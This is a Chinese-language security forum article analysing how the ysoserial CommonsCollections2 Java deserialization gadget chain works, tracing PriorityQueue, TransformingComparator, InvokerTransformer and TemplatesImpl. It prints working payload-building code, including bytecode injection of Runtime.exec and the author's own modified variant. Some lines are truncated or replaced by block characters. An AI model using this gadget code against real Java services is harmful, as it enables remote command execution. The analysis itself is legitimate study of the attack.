Ysoserial CommonsColletions2 两个问题

zhouliu / 2017-12-11 11:02:05 / 浏览数 4474 技术文章 技术文章 顶(0) 踩(0)

0x00 背景

前段时间推荐一学弟好好看看Ysoserial，中间他问了我两个问题：1）queue为什么要先用两个1占位；2）PriorityQueue的queue
已经使用transient关键字修饰，为什么还能从流中反序列化queue中的元素（参见CommonsCollections2的源码）
我之前只是看了部分分析比如drops这篇，自己没有完完全全跟过相关源码。对于第一个问题，不假思索回答了“泛型类型擦除”，确切说是元素放入队列会进行比较排序，比
这两天有时间看了源码和序列规范，真是惭愧，误人子弟了！
在寻找答案的过程中，同事也尝试通过正向的思路去理解整个payload的构造，这个思路更加直白，感兴趣的可以看看。如果单纯想知道问题答案可以直接看0x03
问题解答

0x01 Gadget chain 分析

1）Gadget chain

```
/*
   Gadget chain:
       ObjectInputStream.readObject()
           PriorityQueue.readObject()
               ...
                   TransformingComparator.compare()
                       InvokerTransformer.transform()
                           Method.invoke()
                               Runtime.exec()
*/
```

2）CommonsCollections2的getObject

```
public Queue<Object> getObject(final String command) throws Exception {
       final Object templates = Gadgets.createTemplatesImpl(command);
       // mock method name until armed
       final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

       // create queue with numbers and basic comparator
       final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
       // stub data for replacement later
       queue.add(1);
       queue.add(1);

       // switch method called by comparator
       Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
       // switch contents of queue
       final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
       queueArray[0] = templates;
       queueArray[1] = 1;


       return queue;
   }
```

3）待序列化反序列化的类
既然是正向思路，自然是从反序列化的本质出发。因此，很自然第一个问题是待序列化反序列化的类是哪一个。

```
//java.util.PriorityQueue
```

4）它的readObject方法做了什么

```
private void readObject(java.io.ObjectInputStream s)
       throws java.io.IOException, ClassNotFoundException {
       // Read in size, and any hidden stuff
       s.defaultReadObject();

       // Read in (and discard) array length
       s.readInt();

       queue = new Object[size];
       // Read in all elements.
       for (int i = 0; i < size; i++)
           queue[i] = s.readObject();

       // Elements are guaranteed to be in "proper order", but the
       // spec has never explained what that might be.
       heapify();
   }
```

正如PriorityQueue名字，其是优先级的队列，既然是一个有优先级的队列，必然存在区分优先级的机制--排序。

在4)中，从heapify-->siftDown-->siftDownUsingComparator

```
private void heapify() {
       for (int i = (size >>> 1) - 1; i >= 0; i--)
           siftDown(i, (E) queue[i]);
   }

 private void siftDown(int k, E x) {
       if (comparator != null)
           siftDownUsingComparator(k, x);
       else
           siftDownComparable(k, x);
   }
private void siftDownUsingComparator(int k, E x) {
       int half = size >>> 1;
       while (k < half) {
           int child = (k << 1) + 1;
           Object c = queue[child];
           int right = child + 1;
           if (right < size &&
               comparator.compare((E) c, (E) queue[right]) > 0)
               c = queue[child = right];
           if (comparator.compare(x, (E) c) <= 0)
               break;
           queue[k] = c;
           k = child;
       }
       queue[k] = x;
   }
```

在siftDown中，如果成员comparator不为空，则调用siftDownUsingComparator（名字很直白）。那么comparator（比较器）从哪里来呢？看看PriorityQueue其中一个

```
public PriorityQueue(int initialCapacity,
                        Comparator<? super E> comparator) {
       // Note: This restriction of at least one is not actually needed,
       // but continues for 1.5 compatibility
       if (initialCapacity < 1)
           throw new IllegalArgumentException();
       this.queue = new Object[initialCapacity];
       this.comparator = comparator;//■■■■■
   }
```

可以在实例化指定。

5）CommonsCollections2使用了什么比较器
回顾2），使用了TransformingComparator

```
//org.apache.commons.collections4.comparators.TransformingComparator
```

siftDownUsingComparator方法调用了比较器的compare方法

```
public int compare(I obj1, I obj2) {
       O value1 = this.transformer.transform(obj1);
       O value2 = this.transformer.transform(obj2);
       return this.decorated.compare(value1, value2);
   }
```

成员变量transformer是Transformer类型(调用它的transform方法，嗅到CommonsCollection1中熟悉的味道)。

6）Transformer具体实现类是哪一个
回顾2），使用了InvokerTransformer

```
//ysoserial.payloads.CommonsCollections2
```

当然还是熟悉的InvokerTransformer。

类比`CommonsCollections1`，通过`ChainedTransformer`将`InvokerTransformer`和`ConstantTransformer`串起来完全够用了。即：`ChainedTransformer`承载
不知道作者 为什么要复杂化。当然，一方面可能存在某些局限我没有发现；另一方面，更复杂的链的确需要更深的功底，不得不佩服。
（下面还是顺着复杂的继续看下去）

7）PriorityQueue队列中放置了什么元素
一开始放置了两个“1”占位，后面通过反射将其中之一换为templates(这里引出第一个问题)。跟进templates生成过程：

```
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactor
            throws Exception {
        final T templates = tplClass.newInstance();

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }
```

`■■javassist■■■■■■javassist■■■■■■■■■■■■■■■■■■■■■■■■■■■asm■cglib■`
上面代码做了几件事：

- 实例化一个org.apache.xalan.xsltc.trax.TemplatesImpl -- templates，其成员_bytecodes可以放置字节码；
- 获取 StubTransletPayload(继承org.apache.xalan.xsltc.runtime.AbstractTranslet)字节码，并插入命令执行的字节码；
- 通过反射，设置templates私有成员变量的值，其中_bytecodes正是装载插入了执行我们执行命令的StubTransletPayload字节码。

整理一下，最重要的命令执行已经插入了，待序列化和反序列化的类已经准备...一切就绪，看看流程是怎么串起来。

8）回头看5），InvokerTransformer的transform方法将会被调用：

```
public O transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class<?> cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var4) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass()
            } catch (IllegalAccessException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass()
            } catch (InvocationTargetException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass()
            }
        }
    }
```

回头看2）InvokerTransformer的iMethodName已经已经指定为newTransformer。

9）org.apache.xalan.xsltc.trax.TemplatesImpl的newTransformer
结合5）和8，org.apache.xalan.xsltc.trax.TemplatesImpl的newTransformer方法将会被调用：

```
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
       TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(),//■■■■
       this._outputProperties, this._indentNumber, this._tfactory);
       if (this._uriResolver != null) {
           transformer.setURIResolver(this._uriResolver);
       }

       if (this._tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing")) {
           transformer.setSecureProcessing(true);
       }

       return transformer;
   }
```

10）org.apache.xalan.xsltc.trax.TemplatesImpl的getTransletInstance
接着看this.getTransletInstance

```
private Translet getTransletInstance() throws TransformerConfigurationException {
       ErrorMsg err;
       try {
           if (this._name == null) {
               return null;
           } else {
               if (this._class == null) {
                   this.defineTransletClasses();//■■■■
               }

               AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance();//■■■
               translet.postInitialization();
               translet.setTemplates(this);
               if (this._auxClasses != null) {
                   translet.setAuxiliaryClasses(this._auxClasses);
               }
//■■■■■■
   }
```

11）org.apache.xalan.xsltc.trax.TemplatesImpl的gdefineTransletClasses：

```
private void defineTransletClasses() throws TransformerConfigurationException {
       if (this._bytecodes == null) {
           ErrorMsg err = new ErrorMsg("NO_TRANSLET_CLASS_ERR");
           throw new TransformerConfigurationException(err.toString());
       } else {
           TemplatesImpl.TransletClassLoader loader = (TemplatesImpl.TransletClassLoader)AccessController.doPrivileged(new Pri
               public Object run() {
                   return new TemplatesImpl.TransletClassLoader(ObjectFactory.findClassLoader());
               }
           });

           ErrorMsg err;
           try {
               int classCount = this._bytecodes.length;
               this._class = new Class[classCount];
               if (classCount > 1) {
                   this._auxClasses = new Hashtable();
               }

               for(int i = 0; i < classCount; ++i) {
                   this._class[i] = loader.defineClass(this._bytecodes[i]);
                   Class superClass = this._class[i].getSuperclass();
                   if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                       this._transletIndex = i;
                   } else {
                       this._auxClasses.put(this._class[i].getName(), this._class[i]);
                   }
               }
//■■■■■■
}
```

12）获取到对象的字节码之后，就可以实例化对象了：

```
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
//■■■StubTransletPayload■■■■■■■javassist■■■■■■■■■
```

0x02 流程概括

PriorityQueue承载TemplatesImpl,TemplatesImpl的_bytecodes装载StubTransletPayload字节码，通过javassist修改StubTransletPayload字节码插入命令执行，Priorit

0x03 问题解答

1）queue为什么要先用两个1占位？

```
public Queue<Object> getObject(final String command) throws Exception {
       final Object templates = Gadgets.createTemplatesImpl(command);
       // mock method name until armed
       final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

       // create queue with numbers and basic comparator
       final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
       // stub data for replacement later
       queue.add(1);
       queue.add(1);
```

实话说，其实我也不知道。但是我最初的说法（比较器要求元素类型一致，payload这么构造是为了防止序列化过程出现异常）肯定不严谨。
简单分析

a.泛型

```
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
```

PriorityQueue指定Object，1会被装箱成Integer，和templates都是Object的子类，因此这里编译不会有问题。

b.比较
i. 如果放进PriorityQueue的元素不一致，会不会在比较时出现问题呢？

```
public int compare(I obj1, I obj2) {
       O value1 = this.transformer.transform(obj1);
       O value2 = this.transformer.transform(obj2);
       return this.decorated.compare(value1, value2);
   }
```

回答上面的问题，需要看上面this.decorated.compare(value1, value2)会不会有问题。
ii. 看看this.decorated

```
public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
       this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
   }

   public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
       this.decorated = decorated;//ComparatorUtils.NATURAL_COMPARATOR
       this.transformer = transformer;
   }
```

iii. ComparatorUtils.NATURAL_COMPARATOR 是何物

```
public class ComparableComparator<E extends Comparable<? super E>> implements Comparator<E>, Serializable {
   private static final long serialVersionUID = -291439688585137865L;
   public static final ComparableComparator INSTANCE = new ComparableComparator();

   public static <E extends Comparable<? super E>> ComparableComparator<E> comparableComparator() {
       return INSTANCE;
   }

   public ComparableComparator() {
   }

   public int compare(E obj1, E obj2) {
       return obj1.compareTo(obj2);//■■■■■■■■■■■
   }
```

iv. 再回头看看i中value1和value2是什么

```
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
```

因为InvokerTransformer在初始化时已经指定toString,所以调用其transform方法就会得到String。既然都是String，比较当然没有问题！

```
■■■■■CommsCollections2■■■■■■■■■■

public Queue<Object> getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);
        // mock method name until armed
        final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
        // stub data for replacement later
        queue.add(templates);
        queue.add(new VerifyError("nothing"));

        // switch method called by comparator
        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
        // switch contents of queue
        //final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        //queueArray[0] = templates;
        //queueArray[1] = 1;

        return queue;
    }
```

所以，作者为什么这么写，也许更加优雅吧。

2）PriorityQueue的queue 已经使用transient关键字修饰，为什么还能从流中反序列化queue中的元素？
成员使用transient关键字修饰，的确是为了序列化时不写入流中（该成员可能含有敏感信息，出于保护不写入）。这一点可以从序列化的文件中验证：

但是，序列化规范允许待序列化的类实现writeObject方法，实现对自己的成员控制权。

PriorityQueue的确实现类writeObject方法，将队列中的元素写入流中：

```
private void writeObject(java.io.ObjectOutputStream s)
        throws java.io.IOException{
        // Write out element count, and any hidden stuff
        s.defaultWriteObject();

        // Write out array length, for compatibility with 1.5 version
        s.writeInt(Math.max(2, size + 1));

        // Write out all elements in the "proper order".
        for (int i = 0; i < size; i++)
            s.writeObject(queue[i]);
    }
```

正是因为如下，readObject才可以从输入流中读取队列元素

```
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();
        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }
```

0x04 参考

http://drops.wooyun.org/papers/14317
https://docs.oracle.com/javase/8/docs/platform/serialization/spec/serialTOC.html

点击收藏 | 0 关注 | 0

上一篇：综合威胁管理简易操作手册 下一篇：众测项目分配策略

1. 1 条回复

b5mali4 2017-12-12 10:09:47

点赞，分析的不错

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板